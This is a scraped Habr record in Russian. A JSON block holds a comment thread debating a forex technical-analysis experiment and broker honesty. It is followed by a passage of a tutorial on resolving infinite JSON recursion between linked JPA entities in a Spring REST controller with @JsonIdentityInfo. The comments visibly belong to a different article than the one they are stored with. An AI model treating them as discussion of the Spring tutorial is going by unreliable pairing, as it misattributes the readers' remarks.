{ "id": [ 10717036, 10717094, 10717374, 10717432, 10717468, 10717504, 10717514, 10717754, 10717764, 10717796, 10717802, 10717804, 10717806, 10718092, 10718208, 10718220, 10718236, 10718238, 10718244, 10718498, 10718628, 10718718, 10718744, 10718752, 10718788, 10718790, 10718824, 10718836, 10718868, 10718962, 10718994, 10719012, 10719224, 10719228, 10719740, 10720176, 10789404 ], "parent_id": [ null, null, null, null, null, null, 10717036, null, 10717754, 10717432, 10717504, null, 10717804, 10717764, null, 10717806, 10718220, 10718208, null, null, 10718244, 10718628, 10718244, 10718628, 10718718, 10717036, null, 10718718, 10717802, 10718824, 10718752, 10718824, null, 10718994, 10719224, 10718788, null ], "level": [ 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 2, 0, 2, 3, 1, 0, 0, 1, 2, 1, 2, 3, 1, 0, 3, 2, 1, 3, 1, 0, 4, 1, 4, 0 ], "time_published": [ 1521544426, 1521545945, 1521555264, 1521557185, 1521558142, 1521558848, 1521559148, 1521566831, 1521567038, 1521567371, 1521567507, 1521567515, 1521567598, 1521580808, 1521605037, 1521606016, 1521606842, 1521606883, 1521607477, 1521619307, 1521623207, 1521626182, 1521627144, 1521627408, 1521628988, 1521629442, 1521630827, 1521631147, 1521632112, 1521634947, 1521635611, 1521636012, 1521645148, 1521645391, 1521691686, 1521714225, 1525464498 ], "score": [ 1, 1, 1, 0, 2, 0, 2, 1, -1, 0, 2, 1, 0, 2, 0, 0, 1, 1, 0, 1, 2, 0, 0, 0, 1, 0, -1, 0, -1, 1, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 11, 3, 1, 0, 4, 0, 2, 1, 7, 2, 4, 7, 8, 2, 0, 2, 3, 1, 2, 1, 2, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мы проверили одну фигуру из «плохо»/«вообще не» работающего технического анализа и сделали глобальный вывод, что брокеры нас обманывают…<br/>\r\nПросто гениально)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Отличная статья, интересно! Жаль, что форекс. Форекс несет риски другого рода. И да, на форексах самые большие комиссии</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Про обман ничего не могу сказать. Пробовал писать торгового робота у меня получились схожие результаты по первым 2 пунктам выводов на крипто бирже, он все время в среднем в 0 торговал)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А если провести поиск моделей с учетом комиссии брокера?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Во первых, forex не биржевой рынок в принципе.<br/>\r\nВо вторых, если уж хочется копать минуты, не стоит брать цену закрытия.<br/>\r\nВ третьих, модель сделки с фиксированным спрэдом наивна, а по ценам закрытия вообще бредоподобна. <br/>\r\nВаши закономерности осыпаются от синтетического спрэда в 2 пункта, сравните его с размером минутной свечи в торговые моменты, он сильно больше 2 пунктов :-)<br/>\r\nПо хорошему, искать что-то можно на истории тиков и производных включающих «реальный» спрэд, ибо в торговые моменты спрэд чаще всего оказывается жестоким.<br/>\r\n<br/>\r\nЕсли же у вас нет ничего, кроме минут форекс кухни, можете рискнуть использовать синтетический спрэд производя операции покупки по максимальной а продажи по минимальной цене минуты плюс константа хотя-бы 5 пунктов…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вывод несколько нелогичен. Из первых двух пунктов не следует третий, ведь кроме всяких паттернов на графиках есть и другие методы торговли.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Почему-же, обманывают не только брокеры и дц, есть целый около рынок включающий разработчиков софта, который по умолчанию имеет не правильные режимы отображения графиков, а так же встроенные средства тестирования стратегий с врождёнными косяками…<br/>\r\n… ведь смотрите что получается, автор криво реализовал кривой торговый алгоритм и увидел ПРОФИТ, который правда сожрала комиссия, но кто же на такие мелочи обращает внимание :-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Искать закономерность в изменении одной единственной цены — это позапрошлый век. Реально заработать можно лишь анализируя одновременные движения тысяч разных факторов (курсы сотен валют, цены на десятки товаров по сотням контрактов, банковские ставки, новостной фон, криптовалюты и пр.). Настоящие игроки имеют инструменты и мощности для обработки всего этого, на том и зарабатывают. Причём, одновременно автоматически анализируются тысячи стратегий и из них выбирается одна самая прибыльная на данный момент. Чтобы выиграть у них, нужно иметь оружие не хуже. И оно каждый день совершенствуется.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Согласен с Вами. Я на конкуренцию с крупными игроками и не претендую.<br/>\r\nМне было любопытно проверить, работают ли те методы графического анализа, которые повсюду рекламируют. Оказалось что нет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">К сожалению всё-равно торговля уйдёт в минус, я в своё время много разных вариантов перебробовал. Такие простые методы анализа не работают.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Согласен, кроме паттернов на графиках есть и другие методы торговли, но мне кажется что этот эксперимент доказывает, что простые визуального анализа, которым обучают большинство брокеров, не работают. Я именно это хотел показать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Если у Вас не получилось сделать хорошую прогнозную модель, это не значит, что брокера плохие. Это значит, что Ваша модель плохая.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, модель плохая.<br/>\r\nНо брокеры-то обманывают) Они ведь говорят что на рынке есть простые модели и они работают. А мой эксперимент показывает, что они лгут.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Они работали ещё лет 20 назад. Но биржевая игра это такая штука, где один может выиграть только за счёт кого-то другого. Поэтому постоянно идёт война стратегий. Как только кто-то нащупывает более выгодную стратегию (закономерность), так сразу ранее выигрышные стратегии становятся проигрышными. Тут либо надо воевать на уровне лучших команд (и постоянно подстраиваться под изменяющиеся условия), либо всегда будешь буратиной.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы этим как хобби занимаетесь или для работы?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Вы должны понимать, что этот аргумент не проходит базовой проверки логикой.<br/>\r\nОни говорили, что есть черные коты. Я поймал кота и он белый, а значит они врут.<br/>\r\nТо, что одна простая модель не сработала еще не доказательство того, что не существует работающих простых моделей</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В эксперименте программа проверяла не конкретные модели, а все возможные варианты моделей за последние несколько лет. На мой взгляд она доказывает, что использование простых моделей не позволяет заработать.<br/>\r\nМожете пояснить, почему Вы считаете что эксперимент не логичен?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как хобби</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ну конечно на бирже не может быть закономерности движения цены, которая будет работать всегда. Если не рассматривать долговременные инвестиции с целью получения дивидендов по акциям, а брать форекс или крипту, то биржевые спекуляции — это игра с нулевой суммой. Ведь биржа не печатает деньги. Так что если бы существовала абсолютно всегда выигрышная стратегия, и все участники торгов о ней узнали — откуда бы они получили свой выигрыш?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не смотря на хорошую долю скепсиса в отношении проведенного работы, все же проведена довольно интересная работа, по крайне мере мне было интересно ознакомиться, как раз в моем окружении сейчас довольно активно интересуются данной темой. Общий посыл статьи ясен.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ещё раз, FOREX — не биржа, и это не тонкости терминологии, разница принципиальна!<br/>\r\nАприори выгодные стратегии есть (!) и более того есть безрисковые стратегии вообще.<br/>\r\nДеньги берутся из-за того, что профессиональные участники продают и покупают риски, и мой «выйгрыш» это чья-то плата за спокойный сон, и лишь несколько слезинок игроков :-)<br/>\r\n<br/>\r\nКомпания дистрибьютор, тащит всякую хрень из китая, платит за это долларами, а прибыль получает в рублях, да и то спустя минимум пару месяцев если речь о поставках в крупные торговые сети. Таким образом возникает риск того, что конверсионные операции сожрут маржу. In the Russia, casino paly YOU!!! но игра эта, не в чёрное\\красное, значительная часть рулетки усыпана зелёным, это расходы и долги бизнеса…<br/>\r\nЭто риски которые можно продать лудоманам на FORTS, а их стоимость можно заложить в маржу, усё!<br/>\r\n(это пример очень простой деятельности, бывают гораздо более сложные и многофакторные)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Я не говорю, что выигрышных стратегий нет. Можно найти стратегию, которая будет выигрышной сейчас, но через некоторое время она работать перестанет. </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ещё есть такая фраза: «Текущие цены являются самыми справедливыми, так как в них уже учтены все возможные факторы – иначе по этой цене сделки бы не совершались.» Правда, это работает только при хороших объёмах.</p><br/>\r\n<p>Данные для анализа выбраны не самые лучшие, на валютных парах можно получать прибыль лишь от скальпинга или во время кризисов. Не самое интересное занятие, солидных трендов нет (посмотрите USD/RUB — за год изменение 0.37%). Интереснее было бы исследовать котировки акций, которые часто торгуются в трендах, и тут уже можно получать прибыль, ставя заявки на тейкпрофит/стоплосс, а максимизировать можно именно путём поиска точек разворота, чтобы купить максимально дешевле и продать максимально дорого. Акции успешных компаний могут за год сделать 30-60%, а то и удвоиться, если просто ничего не делать с ними (и если не бахнет кризис), то это и будет доход. Если всё же следить за процессом, можно на локальном росте-падении нарезать ещё немало, ТА работает как раз при отсутствии фундаментальных факторов, глупо списывать его со счетов.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Дистрибьюторы из Китая… Вики врет, что <i>годовой</i> объем международной торговли ~20 трлн долларов, при этом <i>суточный</i> оборот на форекс ~5 трлн. Какой процент денег из оборота поставщиков товаров тратится на плату за риски и какую среднюю доходность это может принести форекс трейдерам?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тех «выигрышных» стратегий, про которые пишут на большинстве сайтов, на самом деле не существует. Они работают или не работают случайным образом и из этого не извлечь прибыль.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Чтобы сделать вывод, что брокеры нас обманывают, мне кажется, не нужно проверять никаких фигур.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А потом приходит Талеб, собирает команду топ-аналитиков по валютной паре USD/EUR и команду уборщиц. Проводит эксперимент по прогнозированию курса и… результаты всех прогнозов команды уборщиц оказываются на 4,5% точнее, на выборке в тысячах ежедневных прогнозов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А я говорю что ММы и LP как продавали спрэды, так и продают его, менялись технологии, увеличивались скорости, но суть оставалась неизменной, это как бы исторический факт.<br/>\r\nА кто выше пишет обратное тот просто не в курсе.<br/>\r\n<br/>\r\nЕсли говорить за реальный forex то…<br/>\r\nВот опять казино, рулетка, ячейки чёрные, красные и одно зеро, или два, всего-то, но именно это и гарантирует доход казино.<br/>\r\nРеальный спрэд, это и есть те самое зеро! <br/>\r\n<br/>\r\nИли другой пример, сядем мы играть в орлянку на деньги, условившись что упавшую на ребро монету перекидываем, кто из нас выйграет?<br/>\r\nИсход равновероятен но выиграет тот у кого денег больше.<br/>\r\n<br/>\r\nБиржи живут с комиссии но для LP всегда есть специальные условия, тк кому нужна биржа не которой не продать не купить. В общем так или иначе но кто ликвидность поставляет, то спрэды и кушает.<br/>\r\n<br/>\r\nPS.А стратегий их на самом деле всего две, пробой и отбой, и вся задача сводится не к предсказаниям будущего а к пониманию настоящего.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хотели одно, а по факту сказали какую-то ерунду)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нет, плохо Талеба читали, у <b>одной из уборщиц</b> прогнозы будут точнее.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я писал конкретно про FORTS, RTS понятно что такое, a FO бывают разными НО это не форекс, да и как вы на форекс натянете описанную мною модель? <br/>\r\n<br/>\r\nFOREX это совсем другая песня, и для других целей, но мне честно говоря лень писать свою википедию на эту тему.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Охотно верю, ибо ИМХО сама постановка задачи как «прогнозирование», порочно…<br/>\r\n… и нужно понимать что факт того что человек работал аналитиком или квантом, ничего не говорит о качестве его работы, точнее кое что говорит, что компетенций человека не достаточно что бы прокормиться самостоятельно</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня есть ощущение что очень серьезные игроки на фондовом рынке не угадывают цену а управляют ей, профиты не приведу, но наблюдения всё тверже убеждают меня в этом.<br/>\r\nТак же если все было «рандомно», то не было бы общих ростов и общих падений, был бы серый шум.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А какую модель вы описали? Продать фьючерс на доллар и взять на себя риск изменения курса?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пытаться управлять ценой можно информационными вбросами. А покупкой-продажей двигать цену на бирже будет убыточно и для крупного игрока. <br/>\r\nОчень крупный игрок может выступать в роли маркетмейкера — держать заявки одновременно на покупку и продажу, задавая коридор для колебаний цены; если покупают больше, чем продают — двигать их вверх, если наоборот — вниз.<br/>\r\n<i>А мелкий трейдер может пытаться ставить свои заявки перед крупными, вот только это рискованно и биржевая комиссия много сжирает, но иногда оно работает :)</i></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я вам больше скажу, все эти бесчисленные сайты, существуют только для того что-бы создать иллюзию актуальности темы которой нет, точнее есть крупицы, но среди тонн хлама их не видно…<br/>\r\n<br/>\r\n… а кто разобрался, тот молчит, ибо технически всё не так уж и сложно, по этому действует принцип «меньше народу — больше кислороду»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Волатильность неуклонно снижается. Зарабатывать на краткосроке все труднее. Нужно переходить на более долгосрочные сделки. Рекомендую статью «Антон Крил. Хеджевые стратегии на основе фундаментального анализа». Антон Крил работал в Goldman Sachs, знает работу хедж-фондов изнутри. В курсе, который он ведет, они много работают со статистикой, есть интересные расчеты.</div>" ], "message_markdown": [ "Мы проверили одну фигуру из «плохо»/«вообще не» работающего технического анализа и сделали глобальный вывод, что брокеры нас обманывают...\nПросто гениально)", "Отличная статья, интересно! Жаль, что форекс. Форекс несет риски другого рода. И да, на форексах самые большие комиссии", "Про обман ничего не могу сказать. Пробовал писать торгового робота у меня получились схожие результаты по первым 2 пунктам выводов на крипто бирже, он все время в среднем в 0 торговал)", "А если провести поиск моделей с учетом комиссии брокера?", "Во первых, forex не биржевой рынок в принципе.\nВо вторых, если уж хочется копать минуты, не стоит брать цену закрытия.\nВ третьих, модель сделки с фиксированным спрэдом наивна, а по ценам закрытия вообще бредоподобна.\nВаши закономерности осыпаются от синтетического спрэда в 2 пункта, сравните его с размером минутной свечи в торговые моменты, он сильно больше 2 пунктов :-)\nПо хорошему, искать что-то можно на истории тиков и производных включающих «реальный» спрэд, ибо в торговые моменты спрэд чаще всего оказывается жестоким.\nЕсли же у вас нет ничего, кроме минут форекс кухни, можете рискнуть использовать синтетический спрэд производя операции покупки по максимальной а продажи по минимальной цене минуты плюс константа хотя-бы 5 пунктов...", "Вывод несколько нелогичен. Из первых двух пунктов не следует третий, ведь кроме всяких паттернов на графиках есть и другие методы торговли.", "Почему-же, обманывают не только брокеры и дц, есть целый около рынок включающий разработчиков софта, который по умолчанию имеет не правильные режимы отображения графиков, а так же встроенные средства тестирования стратегий с врождёнными косяками...\n... ведь смотрите что получается, автор криво реализовал кривой торговый алгоритм и увидел ПРОФИТ, который правда сожрала комиссия, но кто же на такие мелочи обращает внимание :-)", "Искать закономерность в изменении одной единственной цены — это позапрошлый век. Реально заработать можно лишь анализируя одновременные движения тысяч разных факторов (курсы сотен валют, цены на десятки товаров по сотням контрактов, банковские ставки, новостной фон, криптовалюты и пр.). Настоящие игроки имеют инструменты и мощности для обработки всего этого, на том и зарабатывают. Причём, одновременно автоматически анализируются тысячи стратегий и из них выбирается одна самая прибыльная на данный момент. Чтобы выиграть у них, нужно иметь оружие не хуже. И оно каждый день совершенствуется.", "Согласен с Вами. Я на конкуренцию с крупными игроками и не претендую.\nМне было любопытно проверить, работают ли те методы графического анализа, которые повсюду рекламируют. Оказалось что нет.", "К сожалению всё-равно торговля уйдёт в минус, я в своё время много разных вариантов перебробовал. Такие простые методы анализа не работают.", "Согласен, кроме паттернов на графиках есть и другие методы торговли, но мне кажется что этот эксперимент доказывает, что простые визуального анализа, которым обучают большинство брокеров, не работают. Я именно это хотел показать.", "Если у Вас не получилось сделать хорошую прогнозную модель, это не значит, что брокера плохие. Это значит, что Ваша модель плохая.", "Да, модель плохая.\nНо брокеры-то обманывают) Они ведь говорят что на рынке есть простые модели и они работают. А мой эксперимент показывает, что они лгут.", "Они работали ещё лет 20 назад. Но биржевая игра это такая штука, где один может выиграть только за счёт кого-то другого. Поэтому постоянно идёт война стратегий. Как только кто-то нащупывает более выгодную стратегию (закономерность), так сразу ранее выигрышные стратегии становятся проигрышными. Тут либо надо воевать на уровне лучших команд (и постоянно подстраиваться под изменяющиеся условия), либо всегда будешь буратиной.", "Вы этим как хобби занимаетесь или для работы?", "Вы должны понимать, что этот аргумент не проходит базовой проверки логикой.\nОни говорили, что есть черные коты. Я поймал кота и он белый, а значит они врут.\nТо, что одна простая модель не сработала еще не доказательство того, что не существует работающих простых моделей", "В эксперименте программа проверяла не конкретные модели, а все возможные варианты моделей за последние несколько лет. На мой взгляд она доказывает, что использование простых моделей не позволяет заработать.\nМожете пояснить, почему Вы считаете что эксперимент не логичен?", "Как хобби", "Ну конечно на бирже не может быть закономерности движения цены, которая будет работать всегда. Если не рассматривать долговременные инвестиции с целью получения дивидендов по акциям, а брать форекс или крипту, то биржевые спекуляции — это игра с нулевой суммой. Ведь биржа не печатает деньги. Так что если бы существовала абсолютно всегда выигрышная стратегия, и все участники торгов о ней узнали — откуда бы они получили свой выигрыш?", "Не смотря на хорошую долю скепсиса в отношении проведенного работы, все же проведена довольно интересная работа, по крайне мере мне было интересно ознакомиться, как раз в моем окружении сейчас довольно активно интересуются данной темой. Общий посыл статьи ясен.", "Ещё раз, FOREX — не биржа, и это не тонкости терминологии, разница принципиальна!\nАприори выгодные стратегии есть (!) и более того есть безрисковые стратегии вообще.\nДеньги берутся из-за того, что профессиональные участники продают и покупают риски, и мой «выйгрыш» это чья-то плата за спокойный сон, и лишь несколько слезинок игроков :-)\nКомпания дистрибьютор, тащит всякую хрень из китая, платит за это долларами, а прибыль получает в рублях, да и то спустя минимум пару месяцев если речь о поставках в крупные торговые сети. Таким образом возникает риск того, что конверсионные операции сожрут маржу. In the Russia, casino paly YOU!!! но игра эта, не в чёрное\\красное, значительная часть рулетки усыпана зелёным, это расходы и долги бизнеса...\nЭто риски которые можно продать лудоманам на FORTS, а их стоимость можно заложить в маржу, усё!\n(это пример очень простой деятельности, бывают гораздо более сложные и многофакторные)", "Я не говорю, что выигрышных стратегий нет. Можно найти стратегию, которая будет выигрышной сейчас, но через некоторое время она работать перестанет.", "Ещё есть такая фраза: «Текущие цены являются самыми справедливыми, так как в них уже учтены все возможные факторы – иначе по этой цене сделки бы не совершались.» Правда, это работает только при хороших объёмах.\nДанные для анализа выбраны не самые лучшие, на валютных парах можно получать прибыль лишь от скальпинга или во время кризисов. Не самое интересное занятие, солидных трендов нет (посмотрите USD/RUB — за год изменение 0.37%). Интереснее было бы исследовать котировки акций, которые часто торгуются в трендах, и тут уже можно получать прибыль, ставя заявки на тейкпрофит/стоплосс, а максимизировать можно именно путём поиска точек разворота, чтобы купить максимально дешевле и продать максимально дорого. Акции успешных компаний могут за год сделать 30-60%, а то и удвоиться, если просто ничего не делать с ними (и если не бахнет кризис), то это и будет доход. Если всё же следить за процессом, можно на локальном росте-падении нарезать ещё немало, ТА работает как раз при отсутствии фундаментальных факторов, глупо списывать его со счетов.", "Дистрибьюторы из Китая... Вики врет, что годовой объем международной торговли ~20 трлн долларов, при этом суточный оборот на форекс ~5 трлн. Какой процент денег из оборота поставщиков товаров тратится на плату за риски и какую среднюю доходность это может принести форекс трейдерам?", "Тех «выигрышных» стратегий, про которые пишут на большинстве сайтов, на самом деле не существует. Они работают или не работают случайным образом и из этого не извлечь прибыль.", "Чтобы сделать вывод, что брокеры нас обманывают, мне кажется, не нужно проверять никаких фигур.", "А потом приходит Талеб, собирает команду топ-аналитиков по валютной паре USD/EUR и команду уборщиц. Проводит эксперимент по прогнозированию курса и... результаты всех прогнозов команды уборщиц оказываются на 4,5% точнее, на выборке в тысячах ежедневных прогнозов.", "А я говорю что ММы и LP как продавали спрэды, так и продают его, менялись технологии, увеличивались скорости, но суть оставалась неизменной, это как бы исторический факт.\nА кто выше пишет обратное тот просто не в курсе.\nЕсли говорить за реальный forex то...\nВот опять казино, рулетка, ячейки чёрные, красные и одно зеро, или два, всего-то, но именно это и гарантирует доход казино.\nРеальный спрэд, это и есть те самое зеро!\nИли другой пример, сядем мы играть в орлянку на деньги, условившись что упавшую на ребро монету перекидываем, кто из нас выйграет?\nИсход равновероятен но выиграет тот у кого денег больше.\nБиржи живут с комиссии но для LP всегда есть специальные условия, тк кому нужна биржа не которой не продать не купить. В общем так или иначе но кто ликвидность поставляет, то спрэды и кушает.\nPS.А стратегий их на самом деле всего две, пробой и отбой, и вся задача сводится не к предсказаниям будущего а к пониманию настоящего.", "Хотели одно, а по факту сказали какую-то ерунду)", "Нет, плохо Талеба читали, у одной из уборщиц прогнозы будут точнее.", "Я писал конкретно про FORTS, RTS понятно что такое, a FO бывают разными НО это не форекс, да и как вы на форекс натянете описанную мною модель?\nFOREX это совсем другая песня, и для других целей, но мне честно говоря лень писать свою википедию на эту тему.", "Охотно верю, ибо ИМХО сама постановка задачи как «прогнозирование», порочно...\n... и нужно понимать что факт того что человек работал аналитиком или квантом, ничего не говорит о качестве его работы, точнее кое что говорит, что компетенций человека не достаточно что бы прокормиться самостоятельно", "У меня есть ощущение что очень серьезные игроки на фондовом рынке не угадывают цену а управляют ей, профиты не приведу, но наблюдения всё тверже убеждают меня в этом.\nТак же если все было «рандомно», то не было бы общих ростов и общих падений, был бы серый шум.", "А какую модель вы описали? Продать фьючерс на доллар и взять на себя риск изменения курса?", "Пытаться управлять ценой можно информационными вбросами. А покупкой-продажей двигать цену на бирже будет убыточно и для крупного игрока.\nОчень крупный игрок может выступать в роли маркетмейкера — держать заявки одновременно на покупку и продажу, задавая коридор для колебаний цены; если покупают больше, чем продают — двигать их вверх, если наоборот — вниз.\nА мелкий трейдер может пытаться ставить свои заявки перед крупными, вот только это рискованно и биржевая комиссия много сжирает, но иногда оно работает :)", "Я вам больше скажу, все эти бесчисленные сайты, существуют только для того что-бы создать иллюзию актуальности темы которой нет, точнее есть крупицы, но среди тонн хлама их не видно...\n... а кто разобрался, тот молчит, ибо технически всё не так уж и сложно, по этому действует принцип «меньше народу — больше кислороду»", "Волатильность неуклонно снижается. Зарабатывать на краткосроке все труднее. Нужно переходить на более долгосрочные сделки. Рекомендую статью «Антон Крил. Хеджевые стратегии на основе фундаментального анализа». Антон Крил работал в Goldman Sachs, знает работу хедж-фондов изнутри. В курсе, который он ведет, они много работают со статистикой, есть интересные расчеты." ], "author": [ "Solver (solver)", "Данила (ttools)", "Bogomoltsev Denis (SONANT)", "Василий (Scarred)", "Дмитрий Земсков (SADKO)", "GrafDL", "Дмитрий Земсков (SADKO)", "Mn0g0kratn0Ub1ennbIyNaGT", "SYSTEM_FAILURE", "SYSTEM_FAILURE", "SYSTEM_FAILURE", "MedvedkoZloy", "SYSTEM_FAILURE", "Mn0g0kratn0Ub1ennbIyNaGT", "inv2004", "Павло (TheShock)", "SYSTEM_FAILURE", "SYSTEM_FAILURE", "paluke", "Nurmuhammedov Eziz (OasisInDesert)", "Дмитрий Земсков (SADKO)", "paluke", "rkfg", "paluke", "SYSTEM_FAILURE", "Юрий Катков (ganqqwerty)", "Дмитрий Филиппов (Mimus_spb)", "Дмитрий Земсков (SADKO)", "Solver (solver)", "LynXzp", "Дмитрий Земсков (SADKO)", "Дмитрий Земсков (SADKO)", "Андрей (claymen)", "paluke", "paluke", "Дмитрий Земсков (SADKO)", "maxberger" ], "children": [ [ 10717514, 10718790 ], [], [], [ 10717796 ], [], [ 10717802 ], [], [ 10717764 ], [ 10718092 ], [], [ 10718868 ], [ 10717806 ], [ 10718220 ], [], [ 10718238 ], [ 10718236 ], [], [], [ 10718628, 10718744 ], [], [ 10718718, 10718752 ], [ 10718788, 10718836 ], [], [ 10718994 ], [ 10720176 ], [], [ 10718962, 10719012 ], [], [], [], [ 10719228 ], [], [ 10719740 ], [], [], [], [] ] }
679,722
ru
https://habr.com/ru/post/679722/
Как получать сущности со связями в Spring Rest контроллере
Давайте представим себе, что вы разрабатываете самый обычный REST сервис на стеке Spring, например, с использованием таких зависимостей (build.gradle): [code] ... dependencies { ... implementation 'org.springframework.boot:spring-boot-starter-data-jpa' implementation 'org.springframework.boot:spring-boot-starter-web' ... } [/code] Все идет как обычно. Вы пишете репозиторий для сущности User: [code] public interface UserRepository extends CrudRepository<User, UUID> { } [/code] Затем пишете самый обычный сервис для работы с пользователем, в котором есть метод для получения пользователя по его Id: [code] public class UserService { ... public User getUser(UUID id) { return userRepository.findById(id) .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND)); } ... } [/code] И, наконец, используете этот метод в вашем REST контроллере, чтобы получать данные пользователя по REST API извне: [code] @RestController @RequestMapping("/users") public class UserController { ... @GetMapping(path = "/{id}") public User getUser(@PathVariable UUID id) { return userService.getUser(id); } ... } [/code] Я намеренно не останавливаюсь на настройках подключения Spring к базе данных в application.properties или каким-то иным способом, а также прочих деталях настройки и создания сервиса, предполагая, что вы это уже умеете, база данных у вас есть и доступна, пользователи в ней созданы, класс сущности User также создан в приложении. Далее наступает момент тестирования приложения. Воспользуемся для этого Postman. Прежде всего, запускаем наше приложение (предположим, мы работаем в Intellij Idea) и видим, что оно успешно стартовало: Теперь переходим в Postman и пытаемся выполнить GET запрос к методу REST API для получения пользователя, о котором мы наверняка знаем, что он есть в БД, по его Id: Какой ужас! Мы видим, что вообще не можем получить никакого ответа на наш запрос, даже 500 Interal error! В чем же дело? Ведь это, казалось бы, самый обычный REST сервис. Далее, как уже более-менее опытный junior разработчик, вы снова заходите в консоль Intellij Idea и видите такую ошибку: Итак, давайте разберемся, в чем дело. По логу мы видим, что у нас есть какие-то сущности Contact и Profile (причем тут они, ведь мы работали с сущностью User?), и Spring не способен сформировать ответ в формате JSON для нашего REST запроса, потому что попадает в бесконечную рекурсию. Почему? Вот теперь начинается самое интересное. Давайте теперь подробно посмотрим, что такое происходит с нашим пользователем. Прежде всего, заглянем в саму сущность User: [code] ... @Entity @Getter @Setter @ToString @RequiredArgsConstructor public class User { @Id @GeneratedValue private UUID id; @OneToOne(cascade = CascadeType.ALL) @JoinColumn(name = "profile_id", referencedColumnName = "id") private Profile profile; ... } [/code] Как интересно! Оказывается, данные пользователя хранятся у нас не только в сущности User, но и в привязанной к нему сущности Profile. Вы сделали такую связь один-к-одному, но забыли об этом. Заглянем в сущность Profile: [code] ... @Entity @Getter @Setter @ToString @RequiredArgsConstructor public class Profile { @Id @GeneratedValue private UUID id; private String name; private String surname; @Column(name = "second_name") private String secondName; @Column(name = "birth_date") private Instant birthDate; @Column(name = "avatar_link") private String avatarLink; private String information; @Column(name = "city_id") private Integer cityId; @OneToOne(cascade = CascadeType.ALL) @JoinColumn(name = "contact_id", referencedColumnName = "id") private Contact contact; @Column(name = "gender_id") private UUID gender_id; @OneToOne(mappedBy = "profile") User user; } ... [/code] Упс! Помимо «обратного конца» связи один-к-одному профиля с пользователем: [code] @OneToOne(mappedBy = "profile") User user; [/code] мы видим, что и сам профиль связан по типу один-к-одному еще с одной сущностью — Contact. То есть вы выделили контакты пользователя также в отдельную сущность. Можем взглянуть и на нее: [code] @Entity @Getter @Setter @RequiredArgsConstructor @ToString public class Contact { @Id @GeneratedValue private UUID id; private String email; private String phone; @OneToOne(mappedBy = "contact") Profile profile; } [/code] Ну, кажется, здесь конец цепочки связанных сущностей — больше ни с чем контакт не связан. Итак, у нас есть три взаимосвязанных сущности — пользователь, профиль и контакт. Не будем на этом подробно останавливаться, но очевидно, что вы и в БД наложили на них соответствующие constraint, примерно как-то так: [code] alter table users_scheme.user add constraint user_profile_fk foreign key (profile_id) references users_scheme.profile(ID) on delete cascade on update cascade; alter table users_scheme.profile add constraint profile_contact_fk foreign key (contact_id) references users_scheme.contact(ID) on delete cascade on update cascade; [/code] Именно поэтому вы добавили реализацию этих ограничений в ваши классы сущностей, чтобы Hibernate мог нормально работать с ними. Но он не работает. О причине, вероятно, вы уже догадались, если вспомнили, что взаимосвязь один-к-одному у нас двухсторонняя. Поэтому при попытке сериализовать экземпляр класса пользователя fasterxml jackson попадает в цикл и не может этого сделать. Вывод — нужно этот цикл каким-то образом обработать, сделав его не бесконечным, или прервать. Для вас такая ситуация новая, поэтому сразу приведу самое интересное, на мой взгляд, решение, позволяющее получить в ответе на запрос наиболее полную информацию в формате JSON, включая информацию из связанных сущностей. Существуют и другие способы сделать то же самое, но они работают иначе и могут не сработать вообще или не выдать такую же полную информацию. Поэтому я остановлюсь на том, чтобы показать вам только этот. Возможно, другие способы я еще рассмотрю в других статьях. Итак, что нужно сделать. Маркируем в каждой из сущностей следующие поля вот такой аннотацией: [code] //пользователь @OneToOne(cascade = CascadeType.ALL) @JoinColumn(name = "profile_id", referencedColumnName = "id") @JsonIdentityInfo( generator = ObjectIdGenerators.PropertyGenerator.class, property = "id") private Profile profile; //профиль @OneToOne(cascade = CascadeType.ALL) @JoinColumn(name = "contact_id", referencedColumnName = "id") @JsonIdentityInfo( generator = ObjectIdGenerators.PropertyGenerator.class, property = "id") private Contact contact; //контакт @OneToOne(mappedBy = "contact") @JsonIdentityInfo( generator = ObjectIdGenerators.PropertyGenerator.class, property = "id") Profile profile; [/code] После чего перезапускаем приложение и повторяем запрос в Postman: Вот теперь все в 